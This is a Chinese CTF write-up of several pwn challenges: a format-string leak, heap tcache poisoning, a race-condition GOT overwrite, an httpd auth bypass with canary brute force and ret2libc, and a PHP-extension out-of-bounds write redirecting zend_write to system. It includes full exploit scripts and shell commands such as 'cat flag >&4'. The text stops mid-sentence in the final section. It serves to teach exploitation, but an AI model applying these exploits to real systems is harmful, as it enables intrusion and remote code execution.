近期参加了星盟战队的招新赛,题目质量很高,涵盖了不少有趣的考点,这次运气比较好,居然还拿了单方向第一,在这里简单记录和复盘一下解题思路,希望能和各位师傅交流探讨,如有纰漏或理解不到位之处,还请多多指正

pwn
ez-nc
题目没有给附件,只给了nc靶机,黑盒起手
第一句交互提示:
Enter the filename to download:
想到格式化字符串,输入%p测试下
0x7ffdcaf5f721 not existed or could not be opened.
说明 format string 存在
用脚本枚举 %1$s ~ %80$s,观察哪些位可读
发现%45$s会触发 File content: 并输出 ELF 二进制,说明第 45 个参数展开后,最终形成了可打开的有效文件,结果把程序自身 ELF 泄出来了
把 %45$s 的输出保存后跑 strings提取flag就行
exp
from pwn import *
import re
io=remote("nc1.ctfplus.cn", 12580)
io.recvuntil(b"Enter the filename to download: ")
io.sendline(b"%45$s")
data = io.recvuntil(b"Enter the filename to download: ")
io.close()
m = re.search(rb"polarisctf\{[^}]+\}", data)
if m:
print(m.group(0).decode())
else:
print("flag not found")
ezheap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
$ file bin
bin: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0d7621095cc4f306b3c15884cdd4fa3881e6ba26, for GNU/Linux 3.2.0, stripped
去符号化,有点难受
英文不好,还得翻译才能看懂交互菜单
[1] 注册模型工件
[2] 流式工件块
[3] Bootstrap异步调度器
[4] 检查调度器队列
[5] 分配会话张量
[6] 完成批量推理
[7] 补丁会话元数据
[8] 配置员工资料
[9] 分派异步任务
[10] 运行时遥测
[11] 操作手册
[0] 关闭网关
ida查看字符串的时候发现了./flag

追踪引用发现后门函数,静态地址0x6750,只要想办法让程序执行到这里就会把flag打出来

ai分析main函数逻辑,做一段固定混淆计算,如果结果刚好等于 0xDEADBEEF,往 stderr 打印 never
然后初始化了一个 runtime_ctx,全局操作对象,接着进入主菜单循环menu_loop(sub_8A60)
一样ai分析,不然看的实在太难受了
调用选项函数也发生在这里,只不过反汇编窗口没有显示出来,ida可能把case调用优化了,需要看下汇编
找像这样的jumptable case就对了

选项6

operator delete(s, 0x50);
ctx->active[slot] = 0;
这里释放了堆内存session
还把active数组对应下标的对象清0,表示失活
但是ctx->sessions[slot]没有清掉,典型的UAF漏洞
选项7

((uint64_t *)s)[0] = qword_value;
改chunk的首个 qword,也就是 tcache 单链表里的 fd
qword_value来自输入值,可控,配合选项6可以做fd poison
继续逆下其他选项
选项9,Dispatch async task
是一个执行器,逻辑是
输入 task_id--从 ctx->tasks[task_id] 里取 desc--取出 desc->handler
只有满足下面任一条件才会真的 call:
handler == task_runner_log_ack
handler == task_runner_xor_ack
handler == task_runner_mul_ack
queue_ctrl->strict_policy == 0
最后handler(desc->ctx);
默认只会跑白名单里的正常任务,得想办法试下能不能让task_id->desc->handler = 后门函数
两条路:1. 让 handler 继续等于白名单里的 3 个之一 2.让 strict_policy == 0
没必要硬走1,维持白名单 handler普通任务反而后面会很麻烦
继续找关于strict_policy的引用,它在ctx->queue_ctrl + 0x8
mov rdx, [ctx+0x20] ; queue_ctrl
cmp byte ptr [rdx+8], 0 ; strict_policy
这个位就在 queue_ctrl 结构里
如果能申请到这块内存,就可以改写queue_ctrl+0x8 = 0,使得strict_policy=0
看下选项8
本质是申请一个 0x50 的 worker_profile,读 6 个整数 + 1 个字符串,按固定偏移写进去,然后把这个指针存进一个 worker 数组里
用ai分析出这个结构体的布局:
struct worker_profile {
uint64_t cpu_quota; // +0x00
uint64_t mem_quota; // +0x08
uint64_t io_weight; // +0x10
uint64_t latency_slo; // +0x18
uint64_t replicas; // +0x20
char memo[0x20]; // +0x28
uint64_t region_code; // +0x48
}; // size = 0x50
程序会要求你输入一系列 Worker 的参数,并解析为 64 位整数,存入堆块内存中
选项4可以泄露queue_ctrl和task0_desc的运行地址,选项10可以泄露后门函数的运行地址
选项5会泄露 session 的 handler,还能用来做 safe-linking 计算
这样整个利用链就很清晰了:
先泄露 queue_ctrl、task0_desc、audit_sink(后门)
第一次 poison 到 queue_ctrl,用 8 把 strict_policy 清零
第二次 poison 到 task0_desc,用 8 把 handler 改成 audit_sink
最后按 9 触发 handler(ctx),打印 flag
exp
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./bin")
#io = remote("nc1.ctfplus.cn", 17941)
io=process("./bin")
def get_hex_after(out, marker):
for line in out.splitlines():
if marker in line:
return int(line.split(marker, 1)[1].split()[0], 16)
raise ValueError(f"missing marker: {marker!r}")
def bootstrap(io):
io.sendline(b"3")
io.recvuntil(b"gateway> ")
def inspect(io):
io.sendline(b"4")
out = io.recvuntil(b"gateway> ", drop=True)
queue_ctrl = get_hex_after(out, b"queue_ctrl=")
task0 = get_hex_after(out, b"[task:0] desc=")
return queue_ctrl, task0
def telemetry(io):
io.sendline(b"10")
out = io.recvuntil(b"gateway> ", drop=True)
return get_hex_after(out, b"diag.audit_sink=")
def alloc(io, slot, size, name):
io.sendline(b"5")
io.sendlineafter(b"session.slot(0-15)> ", str(slot).encode())
io.sendlineafter(b"session.tensor_bytes> ", str(size).encode())
io.sendlineafter(b"session.alias> ", name)
out = io.recvuntil(b"gateway> ", drop=True)
return get_hex_after(out, b"handle=")
def free_session(io, slot):
io.sendline(b"6")
io.sendlineafter(b"session.slot> ", str(slot).encode())
io.recvuntil(b"gateway> ")
def patch_fd(io, slot, value):
io.sendline(b"7")
io.sendlineafter(b"diag.session.slot> ", str(slot).encode())
io.sendlineafter(b"diag.qword_index> ", b"0")
io.sendlineafter(b"diag.qword_value(u64)> ", str(value).encode())
io.recvuntil(b"gateway> ")
def worker(io, a, b, c, d, e, f, memo=b"x"):
io.sendline(b"8")
io.sendlineafter(b"worker.cpu_quota> ", str(a).encode())
io.sendlineafter(b"worker.mem_quota> ", str(b).encode())
io.sendlineafter(b"worker.io_weight> ", str(c).encode())
io.sendlineafter(b"worker.latency_slo> ", str(d).encode())
io.sendlineafter(b"worker.replicas> ", str(e).encode())
io.sendlineafter(b"worker.region_code> ", str(f).encode())
io.sendlineafter(b"worker.memo> ", memo)
io.recvuntil(b"gateway> ")
def dispatch(io, idx):
io.sendline(b"9")
io.sendlineafter(b"queue.task_id> ", str(idx).encode())
return io.recvuntil(b"gateway> ", drop=True)
def poison(io, target, s0, s1, s2, tag):
alloc(io, s0, 0x10, tag + b"0")
h1 = alloc(io, s1, 0x10, tag + b"1")
free_session(io, s0)
free_session(io, s1)
patch_fd(io, s1, target ^ (h1 >> 12))
alloc(io, s2, 0x10, tag + b"2")
def exploit(io):
bootstrap(io)
queue_ctrl, task0 = inspect(io)
audit_sink = telemetry(io)
log.info("queue_ctrl = %#x", queue_ctrl)
log.info("task0_desc = %#x", task0)
log.info("audit_sink = %#x", audit_sink)
poison(io, queue_ctrl, 0, 1, 2, b"Q")
worker(io, 0, 0, 0, 0, 0, 0, b"policy")
poison(io, task0, 3, 4, 5, b"T")
worker(
io,
0x1111111111111111,
0x100,
0x3333333333333333,
audit_sink,
task0,
0x6666666666666666,
b"owned",
)
out = dispatch(io, 0)
print(out.decode(errors="ignore"))
if __name__ == "__main__":
io.recvuntil(b"gateway> ")
exploit(io)
music box
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
长得挺像堆菜单,但是注意到程序初始化完成后建立了一个叫GarbageClean的线程

功能逻辑是一个循环线程,检查 gc.used 是否达到阈值 0x200,没到阈值就什么都不做,继续下一轮,到阈值后拿 g_mutex
选择另一块 heap 空间作为新 base,也就是 space0(unk_4318) 和 space1 (unk_4718)来回切,总共就两块空间,遍历所有 slot,把还活着的note从旧 base + old_off 拷到新空间,按拷贝后的布局重写每个 slot 的新 offset

当前 base = space0 时,slots 距离 base 是 0x800,当前 base = space1 时,slots 距离 base 是 0x400,两个偏移不同,但是固定
gc线程加锁后会打印GC: Be quiet.,这个可以作为之后我们判断gc拿锁的信号
同样还初始化了一个叫musicbox的线程,循环从lyrics数组里取歌词打印,歌词应该是英文版《踏浪》(不重要)
总之只要这个stop不为1就会一直以约 250ms 的频率,不断地申请、打印、释放各种不同长度的歌词数据,导致连续申请的chunk物理位置上并不连续

再看菜单交互主逻辑大写Main,发现对于 Delete,Edit和Show这三个功能,调用链都是先调 GetSlotOffset(index)再执行各自的功能,在函数内部执行加锁
这个GetSlotOffset()返回的是当前的offset
漏洞就在于,在调用GetSlotOffset获取偏移的时候没有加锁,之后调用函数功能才加了锁,这两步之间存在时间空隙
之前说的线程GarbageClean又是一个定时轮询,如果在这两步之间发生,那就会造成拿到旧的offset,访问的却是新的base,后续操作的旧不是原来的note
还有一个漏洞是ShowNote 和 EditNote,发现这两个函数都会先把当前位置当成一个 note 头来解析,并用 random_key 做一次完整性校验

如果校验通过,就按头部里的 off 和 len 去真正读写:
ptr + 8 + off
但如果校验失败,程序并不会直接报错退出,而是强制退回成:
off = 0;
len = 8;

也就是说,它会从当前错误位置开始,再往后偏 8 字节,固定读写 8 字节
这就意味着如果我们利用前面的竞态,让 stale offset 落到某个 chunk 的中间,那么 ShowNote和EditNote 读到的头部大概率就不是合法 note 头,校验自然失败
而校验失败之后,程序反而白送了我们一个稳定的原语:
从错误位置开始,向后固定读写 8 字节
于是整条利用链就很清楚了
第一步,先利用一次 stale read 泄漏 random_key,主线程和musicbox线程都是250ms延迟,如果我们在歌词输出稳定后发送alloc请求,两个线程配合就可以形成交替分配堆块
具体做法是先布置前几个 note,然后在 Shownote 读 index 之后、真正进入 ShowNote 之前卡一次 GC,这样 GetSlotOffset() 拿到的是旧 offset,但 ShowNote 真正访问时使用的是新的 base
此时 stale offset 会落到另一个 chunk 的中间,校验失败,程序走默认分支,从错误位置后方固定读取 8 字节。如果这个 8 字节正好可以读到相邻 note 的真实头部,就可以恢复出 random_key

如果我们等待第一句歌词发送lalalalalala之后,再开始布置note(每个note占据大小都是0x10),这样歌词占位和note的布置就会交替进行,第二句歌词刚好只有8字节,这个第二句刚好在note0和note1之间,note1就是图中我写入的BBBBBBB2(0x32424242424242),Note 1 的偏移变成了 0x28,等到卡完gc之后,show(1)执行验证错误分支,用ptr+8 ,0x28 + 8 = 0x30,刚好踩中 note3的头部
第二步,再利用一次 stale write 伪造 note 头
思路和前面一样,只不过这次不是 Show,而是 Edit。让 EditNote 在 GC 前取得旧 offset,在 GC 后真正写入。由于落点已经错位,校验失败后会固定往后写 8 字节,这 8 字节正好可以覆盖另一个 note 的头部
于是我们可以伪造出一个合法但偏移特殊的 note,让它后续访问的不是自己的 data,而是 slot metadata
第三步,利用这个假 note 改写 slot 表。
一旦某个 note 能读写 metadata,我们就可以修改 slot[0].off 和 slot[0].size,把 note0 指向 GOT
先让 note0 指向 puts@got – 8,这样 show note 0 就能泄漏 puts 实际地址,进而算出 libc 基址
第四步,再把 note0 指向 atoi@got – 8,然后用 edit note 0 把 atoi@got 改成 system
由于没有给定的ld,用本地ld又会让附件里的libc启程序直接stack smashing,所以我打本地时直接用的本地libc,远端再切回来
exp
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./attachments/main")
#libc=ELF("./attachments/libc.so.6")
libc=ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'bash', '-c']
fake_off = 0x388
space1 = 0x4718
def add(data, first=False):
if first:
io.sendline(b"1")
else:
io.sendlineafter(b"Please input your choice:", b"1")
io.sendlineafter(b"Give me the size of note:", b"8")
io.sendafter(b"Give me the content of note:", data)
def edit(idx, data):
io.sendlineafter(b"Please input your choice:", b"3")
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendafter(b"Give me the new content of note:", data)
def show(idx):
io.sendlineafter(b"Please input your choice:", b"4")
io.sendlineafter(b"Index: ", str(idx).encode())
io.recvuntil(b"Your content:\n")
return io.recvn(8)
def wait_boot():
ok1 = 0
ok2 = 0
while not (ok1 and ok2):
s = io.recvline()
if b"Please input your choice:" in s:
ok1 = 1
if b"Lalalalalalala." in s:
ok2 = 1
def wait_gc():
while True:
s = io.recvline()
if b"GC: Be quiet." in s:
return
def wait_until(token):
while True:
if token in io.recvline():
return
def race_show(idx):
io.sendlineafter(b"Please input your choice:", b"4")
io.recvuntil(b"Index: ")
wait_gc()
io.sendline(str(idx).encode())
io.recvuntil(b"Your content:\n")
return io.recvn(8)
def race_edit(idx, data):
io.sendlineafter(b"Please input your choice:", b"3")
io.recvuntil(b"Index: ")
wait_gc()
io.sendline(str(idx).encode())
io.sendafter(b"Give me the new content of note:", data)
def note0_to(addr):
off = (addr - space1 - 8) & 0xffffffff
edit(7, p32(off) + p32(8))
def pwn():
libc.address = 0
wait_boot()
add(b"AAAAAAA1", first=True)
add(b"BBBBBBB2")
#gdb.attach(io)
#pause()
add(b"CCCCCCC3")
gdb.attach(io)
pause()
add(b"DDDDDDD4")
leak = race_show(1)
key = u32(leak[4:]) ^ 0x80000
log.success("key = %#x" % key)
wait_until(b"GC: Be quiet.")
wait_until(b"GC: Music.")
add(b"EEEEEEE5", first=True)
add(b"FFFFFFF6")
add(b"GGGGGGG7")
add(b"HHHHHHH8")
fake = p16(fake_off) + p16(8) + p32(key ^ ((8 << 16) | fake_off))
race_edit(5, fake)
note0_to(elf.got["puts"])
puts_addr = u64(show(0))
libc.address = puts_addr - libc.sym["puts"]
if libc.address & 0xfff:
raise RuntimeError("bad libc leak")
log.success("puts = %#x" % puts_addr)
log.success("libc = %#x" % libc.address)
note0_to(elf.got["atoi"])
edit(0, p64(libc.sym["system"]))
log.success("atoi -> system")
for i in range(10):
io=process("./attachments/main")
#io=remote("nc1.ctfplus.cn,26706)
pwn()
break
io.interactive()
httpd
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
一道web pwn
先启动服务看看,是一个路由管理平台

没有注册功能,需要考虑先绕过这个登录凭证
接着分析elf文件,从主函数开始
这个sub_4019c2函数会初始化全局状态,申请一块0x100大小的空间然后清空,用户名固定为“admin”,密码是随机的8字节

顺着主函数找到子进程处理客户端连接的函数sub_401A24

分别有两个函数处理GET和POST请求
- 未登录访问
/会跳去/login - 已登录访问
/login会跳去主页 /logout会清空 token/getCookie会生成 uuid 作为 token
漏洞在于处理GET请求函数里的0x402faf这个鉴权函数
这个函数非常短,但非常关键

它做的事就是:
return strcmp(req->cookie_key, "token") == 0 &&
strcmp(req->cookie_value, state->token) == 0;
看起来没问题,但结合初始化函数就出事了
因为之前分析init_map初始化清零, state->token 初始就是空字符串,所以下面这个请求头:
Cookie: token=
会让:req->cookie_key == “token”,req->cookie_value == “”,state->token == “”
于是 0x402faf 直接返回真
也就是说在没有真正登录、没有访问 /getCookie 的情况下,就能伪造一个合法鉴权状态

测试了下可以直接拿到/config的页面
主程序是父进程监听,每个连接 fork,子进程处理请求,canary在父进程里固定,子进程继承,如果子进程崩了,父进程还可以继续连接,所以canary可以尝试爆破
接下来看处理POST请求函数,它只处理 /login、/resetPasswd、/config 这三类请求
send_http_response (0x402C9E)是函数里的接收和发送http响应的功能函数,后续可以作为回包函数
有一个漏洞是在解析POST请求里的 handle_config_update (0x4035A0) 里,它先把四个字段取出来,然后分别 memcpy 到栈上的固定大小缓冲区里q1
这canary居然写在缓冲区内部

a1是第一个参数,在这里就是POST的请求body,parse_urlencoded_form解析body,存入form_table里
find_from_param就从解析后的form_table里提取对应的字段作为param_entry(包括用户指定的长度和数据)
这里的问题是目标缓冲区是固定长度,拷贝长度len=param_entry却来自用户输入
并且没有边界检查,那就是很明显的栈溢出漏洞
按这个函数的栈布局去看,四个缓冲区大概是:
route_name [rbp-0xa0]
ip [rbp-0x80]
subnet_mask [rbp-0x60]
gateway [rbp-0x40]
gateway 这个字段离 canary 最近,所以就拿它打,先靠返回包里有没有 {“setInfo” : 1} 去一个个爆 7 字节 canary
接着再把 saved rbp 爆出来,因为后面要算栈上字符串地址
把返回地址改到 /config 成功分支的中间位置 0x402AC5,就是这个setInfo: 1分支

同时把上层栈里后面要用到的变量改掉,让 send_http_response ()把 write@got 当响应 body 发回来。这样就能拿到 write 的真实地址,libc 基址也就有了

最后一发就是正常 ret2libc,用 pop rdi ; ret 0x4016DE 把参数指到栈上布置好的 “cat flag >&4″,然后调 system
\>&4 是因为当前连接的 socket fd 就是 4,flag 会直接回到这条连接上
用的本地libc(2.39)
exp
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'bash', '-c']
elf = ELF("./httpd")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = elf
timeout = 0.5
canary_off = 0x28
gap_off = 0x30
rbx_off = 0x38
rbp_off = 0x40
ret_off = 0x48
caller_fd_off = 0x5C
caller_body_off = 0x70
ok = b'{"setInfo" : 1}'
ret = 0x40101A
pop_rdi = 0x4016DE
leak_continue = 0x402AC5
def enc(data):
return b"".join(b"%%%02x" % c for c in data)
def packet(gw):
body = b"route_name=a&ip=a&subnet_mask=a&gateway=" + enc(gw)
return (
b"POST /config HTTP/1.1\r\n"
b"Host: x\r\n"
b"Cookie: token=\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
+ f"Content-Length: {len(body)}\r\n".encode()
+ b"Connection: close\r\n\r\n"
+ body
)
def req(gw, t=timeout):
#io = process("./httpd")
io = remote("nc1.ctfplus.cn", 21567)
io.send(packet(gw))
data = io.recvrepeat(t)
io.close()
return data
def good(payload):
for _ in range(2):
try:
if ok in req(payload):
return True
except (EOFError, PwnlibException):
pass
return False
def body(data):
if b"\r\n\r\n" not in data:
return b""
return data.split(b"\r\n\r\n", 1)[1]
def brute_canary():
canary = b"\x00"
log.info("brute canary")
for i in range(1, 8):
for b in range(0x100):
payload = b"A" * canary_off + canary + p8(b)
if good(payload):
canary += p8(b)
log.success(f"canary[{i}] = {b:#04x}")
break
else:
raise RuntimeError(f"canary byte {i} failed")
log.success(f"canary = {canary.hex()}")
return canary
def brute_rbp(canary):
rbp = b""
log.info("brute rbp")
for i in range(6):
for b in range(0x100):
payload = b"A" * canary_off
payload += canary
payload += b"B" * 0x10
payload += rbp
payload += p8(b)
if good(payload):
rbp += p8(b)
log.success(f"rbp[{i}] = {b:#04x}")
break
else:
raise RuntimeError(f"rbp byte {i} failed")
rbp += b"\x00\x00"
log.success(f"rbp = {rbp.hex()}")
return rbp
def leak(canary, rbp):
#io = process("./httpd")
io = remote("nc1.ctfplus.cn", 21567)
payload = flat(
{
canary_off: canary,
gap_off: b"G" * 8,
rbx_off: b"B" * 8,
rbp_off: rbp,
ret_off: p64(leak_continue),
caller_fd_off: p32(4),
caller_body_off: p64(elf.got["write"]),
},
filler=b"A",
length=caller_body_off + 8,
)
log.info("leak libc")
io.send(packet(payload))
io.recvuntil(b"\r\n\r\n")
write_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
io.close()
libc.address = write_addr - libc.sym.write
log.success(f"write = {write_addr:#x}")
log.success(f"libc = {libc.address:#x}")
return libc.address
def final_payload(canary, rbp):
stack = u64(rbp)
cmd_off = 0x80
cmd_addr = stack - 0x1B0 + cmd_off
cmd = b"cat flag >&4\x00"
return flat(
{
canary_off: canary,
gap_off: b"G" * 8,
rbx_off: b"B" * 8,
rbp_off: p64(0),
0x48: p64(ret),
0x50: p64(pop_rdi),
0x58: p64(cmd_addr),
0x60: p64(libc.sym.system),
0x68: p64(pop_rdi),
0x70: p64(0),
0x78: p64(elf.plt.exit),
cmd_off: cmd,
},
filler=b"A",
length=cmd_off + len(cmd),
)
def pwn():
canary = brute_canary()
rbp = brute_rbp(canary)
leak(canary, rbp)
log.info("final")
io = remote("nc1.ctfplus.cn", 21567)
io.send(packet(final_payload(canary, rbp)))
data = io.recvrepeat(1.5)
io.close()
print((body(data) or data).decode(errors="ignore"))
if __name__ == "__main__":
pwn()
ph
vuln.so
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Debuginfo: Yes
同样是一道web pwn
表面上是一个上传页面,附件里还给了一个自定义 PHP 扩展 vuln.so
从web入口开始,先把index.php丢给ai看下页面逻辑
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$upload_dir = '';
$target_file = $upload_dir . basename($file['name']);
$result = move_uploaded_file($file['tmp_name'], $target_file);
这段代码的功能是处理文件上传
先检查请求方法是否为POST,再检查文件名是否为file
upload_dir = '',也就是文件直接落在当前目录
只做了 basename(),没有做后缀限制,也没有禁止上传 .php
这就意味着我们可以上传任意 PHP 文件,文件会落到 /var/www/html/
上传后可以直接通过 http://target/文件名.php 执行
这样看这个入口很强
简单写个php文件去远端测试下:<?php echo “OK”; ?>

上传和执行成功,但如果是 system()、exec() 这样的都会报 Call to undefined function
常规的命令执行函数貌似都禁掉了
然后看下php.ini,最末尾写了一句extension = vuln.so,这个so文件一定会被作为扩展加载到php进程
接着看下start.sh
#!/bin/bash
echo $FLAG > /flag
chmod 400 /flag
FLAG="flag{not_here}"
# DO NOT DELETE
service apache2 start
service ssh start
sleep infinity;
/flag 权限是 400,只有文件所有者可以读
但是题目还给了一个SUID 程序 /readflag

那么这个预期利用面应该是让我们想办法执行/readflag,另外看它能不能回显出来
然后分析vuln.so
导出函数名中很容易注意到zif_add,zif_edit,zif_delete,怀疑是个堆题布局

三个函数都有一样的问题,这个idx<=15只检查了上界,没有兜底
那么负数索引应该也是可以通过的,有越界风险
edit函数有句挺值钱的
zend_parse_parameters是标准 PHP 内核函数,参数 &idx, &data, data_len都由用户控制

只要能把heap[idx] 控成任意地址,heap_size[idx] 伪造成足够大
那 edit() 就直接变成任意地址写
本质就是负索引 OOB
追踪下heap

heap 是 QWORD 数组,在0x41c0,总共定义了16个元素,每个8字节qword,如果利用负索引可以写到bss段之前
heap_size[0]在 0x4180
然后我们需要去这个扩展的入口看看
就是加载模块函数get_moudle
里面直接retern了vuln_module_entry,定位到地址

但是这个只是结构体部分,查看引用看看它的got表处的指针

地址是0x3fc0
0x41c0-0x3fc0=0x200
0x200/8=0x40=64
因为heap[]本身会解引用
也就是说运行时:
heap[-64] == *0x3fc0==&vuln_module_entry
这样思路就很顺了,借负索引,精准把写入起点拐到了 vuln_module_entry处
edit(-64, seed) 的写入起点是:
&vuln_module_entry = 0x40a0
相对 0x40a0 的偏移正好是:
0x4180 - 0x40a0 = 0xe0
0x41c0 - 0x40a0 = 0x120
所以构造一个长度 0x128的 seed,flat填充
seed[0xe0:0xe4] = p32(8),把 heap_size[0]改成 8
seed[0x120:0x128] = p64(target_addr),把 heap[0]`改成目标地址
这样做完以后,逻辑上就变成了:
heap[0] = target_addr
heap_size[0] = 8
所以:
edit(0, p64(value))
就会变成:
memcpy(target_addr, &value, 8);
于是我们得到了一个稳定的 8 字节任意写原语
题目远端禁用了所有常见命令执行函数,所以最自然的想法是找一个 PHP 内部函数指针,把它改成 libc 的 system
这里我选的是 libphp.so 里的全局函数指针:zend_write,这是 Zend 引擎真正的输出函数指针
echo "xxx" 最终会走到 zend_write("xxx", len),system(const char *cmd) 的第一个参数刚好也是字符串指针
在 x86_64 SysV 调用约定下:zend_write(str, len) 传参是 RDI = str, RSI = len,system(str) 只关心 RDI
所以把:zend_write 改成system
之后,再执行echo ,也就是执行地产函数zend_write,就等价于system
因为我们能上传 PHP,所以直接上传:
<?php include "/proc/self/maps"; ?>
远端会把当前 Apache worker 的内存映射直接回显出来
可以从中拿到:vuln.so 基址,libphp.so 基址,libc.so.6 基址
结合一开始的readflag,用system执行/readflag > /var/www/html/flag_xxx.txt,然后访问文件就能拿到flag
exp
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
elf = ELF("./attachments/vuln.so")
host = '80-8f2f806e-55bd-4037-ad56-c2f2c8607854.challenge.ctfplus.cn'
port = 80
base = '/'
vuln_module_entry_off = 0x40a0
heap_size_off = 0x4180
heap_off = 0x41c0
seed_len = heap_off - vuln_module_entry_off + 8
heap_size_slot0_off = heap_size_off - vuln_module_entry_off
heap_slot0_off = heap_off - vuln_module_entry_off
#转url
def q(data):
return b"".join(b"%%%02x" % x for x in bytearray(data))
def randomname(name, ext):
return f"{name}_{randoms(8)}.{ext}"
def webpath(name=""):
return base + name
def build_http(method, path, body=b"", headers=None):
headers = headers or {}
req = f"{method} {path} HTTP/1.1\r\n".encode()
hdr = {
"Host": host,
"Connection": "close",
}
if body:
hdr["Content-Length"] = str(len(body))
hdr.update(headers)
for k, v in hdr.items():
req += f"{k}: {v}\r\n".encode()
req += b"\r\n" + body
return req
def dechunk(head, data):
if b"transfer-encoding: chunked" not in head.lower():
return data
out = b""
while data:
line, _, rest = data.partition(b"\r\n")
if not _:
break
size = int(line.split(b";", 1)[0], 16)
if size == 0:
break
out += rest[:size]
data = rest[size + 2 :]
return out
def http(method, path, body=b"", headers=None):
req = build_http(method, path, body, headers)
io = remote(host,port,False)
io.send(req)
head = io.recvuntil(b"\r\n\r\n")
data = io.recvall(timeout=120)
io.close()
return head, dechunk(head, data)
#构造文件上传格式,让服务器以为在上传文件
def build_multipart(name, data):
boundary = "----" + randoms(16)
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="file"; filename="{name}"\r\n'
"Content-Type: application/octet-stream\r\n\r\n"
).encode()
body += data
body += f"\r\n--{boundary}--\r\n".encode()
return body, {"Content-Type": f"multipart/form-data; boundary={boundary}"}
def upload(name, data):
body, headers = build_multipart(name, data)
_, data = http("POST", webpath("index.php"), body, headers)
text = data.decode(errors="ignore")
if "文件上传成功" not in text:
log.failure(text)
raise RuntimeError("upload failed")
log.success(f"upload -> {name}")
return name
def getb(name):
_, data = http("GET", webpath(name))
return data
def gettext(name):
return getb(name).decode(errors="ignore")
def leak_maps():
name = randomname("maps", "php")
upload(name, b'<?php include "/proc/self/maps"; ?>')
return gettext(name)
#从 maps 里提取模块基地址
def parse_base(maps, needle):
for line in maps.splitlines():
if needle in line and " r--p " in line and line.split()[2] == "00000000":
return int(line.split("-", 1)[0], 16)
raise RuntimeError(f"failed to find {needle}")
def dump_remote_file(remote_path, local_path):
name = randomname("dump", "php")
php = f'<?php include "php://filter/convert.base64-encode/resource={remote_path}"; ?>'.encode()
upload(name, php)
data = b64d(b"".join(getb(name).split()))
open(local_path, "wb").write(data)
log.success(f"dump -> {local_path}")
def arb_write(where, what, cmd):
name = randomname("exp", "php")
php = b'<?php edit(-64, $_POST["seed"]); edit(0, $_POST["ptr"]); echo $_GET["c"]; ?>'
upload(name, php)
seed = flat(
{
heap_size_slot0_off: p32(len(what)),
heap_slot0_off: p64(where),
},
filler=b"\x00",
length=seed_len,
)
body = b"seed=" + q(seed) + b"&ptr=" + q(what)
path = webpath(name) + "?c=" + q(cmd.encode()).decode()
io = remote(host, port, False)
io.send(build_http("POST", path, body, {"Content-Type": "application/x-www-form-urlencoded"}))
io.recvuntil(b"\r\n\r\n")
io.recvall(timeout=120)
io.close()
def main():
maps = leak_maps()
vuln_base = parse_base(maps, "/usr/local/lib/php/extensions/no-debug-non-zts-20210902/vuln.so")
libphp_base = parse_base(maps, "/usr/lib/apache2/modules/libphp.so")
libc_base = parse_base(maps, "/usr/lib/x86_64-linux-gnu/libc.so.6")
libphp_path = "/tmp/libphp_remote.so"
libc_path = "/tmp/libc_remote.so.6"
dump_remote_file("/usr/lib/apache2/modules/libphp.so", libphp_path)
dump_remote_file("/usr/lib/x86_64-linux-gnu/libc.so.6", libc_path)
libphp = ELF(libphp_path, checksec=False)
libc = ELF(libc_path, checksec=False)
zend_write = libphp_base + libphp.sym.zend_write
system = libc_base + libc.sym.system
out = randomname("flag", "txt")
cmd = f"/readflag > /var/www/html/{out}"
arb_write(zend_write, p64(system), cmd)
flag = gettext(out).strip()
log.success(f"vuln_base = {vuln_base:#x}")
log.success(f"libphp_base = {libphp_base:#x}")
log.success(f"libc_base = {libc_base:#x}")
log.success(f"zend_write = {zend_write:#x}")
log.success(f"system = {system:#x}")
log.success(f"flag file = {out}")
print(flag)
return 0 if "{" in flag and "}" in flag else 1
if __name__ == "__main__":
exit(main())
treasure
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
看一眼main,第一眼就注意到system(“/bin/sh”);那得多看几眼了
把背景认真看了一遍,大概就是这是一个管家,它的主人在这里留了好东西,需要输入密码才能拿到
但是只有一次机会

校验逻辑很特别,密码是sub_1209的地址,但是这个程序开了pie,那就是约等于盲猜
输错了接着程序马上说,主人早就想到有人猜不出来,所以留了个后门,还给了两次机会
我们有能力自选下标,然后向 byte_40A0 + 8 * idx 写最多 8 字节,然后把这个位置当成 %s打印出来

有个漏洞是检查输入的时候while ( qword_48A0 > 255 )
只检查了大于255,没有考虑负数下标
下标输入的格式串是 %lld,也就是有符号整数
正常0 ~ 255正常写到 .bss数组内部而< 0会往 .bss之前的区域写,也就是可以写到got表区域
数组越界,写入逻辑是&byte_40A0[8 * idx]
基本的思路就是用负下标定位到 puts@got,然后只写 1 个字节,保留 GOT 项其余内容不变,再利用后面的 %s 打印泄漏 puts 真实地址从而算出 libc 基址,在 name 栈缓冲区中布置 fake argv 和 envp,第二次负下标定位到 printf@got,把 printf@got 改成 one_gadget后等程序调用printf就行了
name缓冲区
char v4[136]; // [rbp-0x90]
起始位置就是rbp-0x90
而远程最终使用的 one_gadget 是附件 libc 里的:

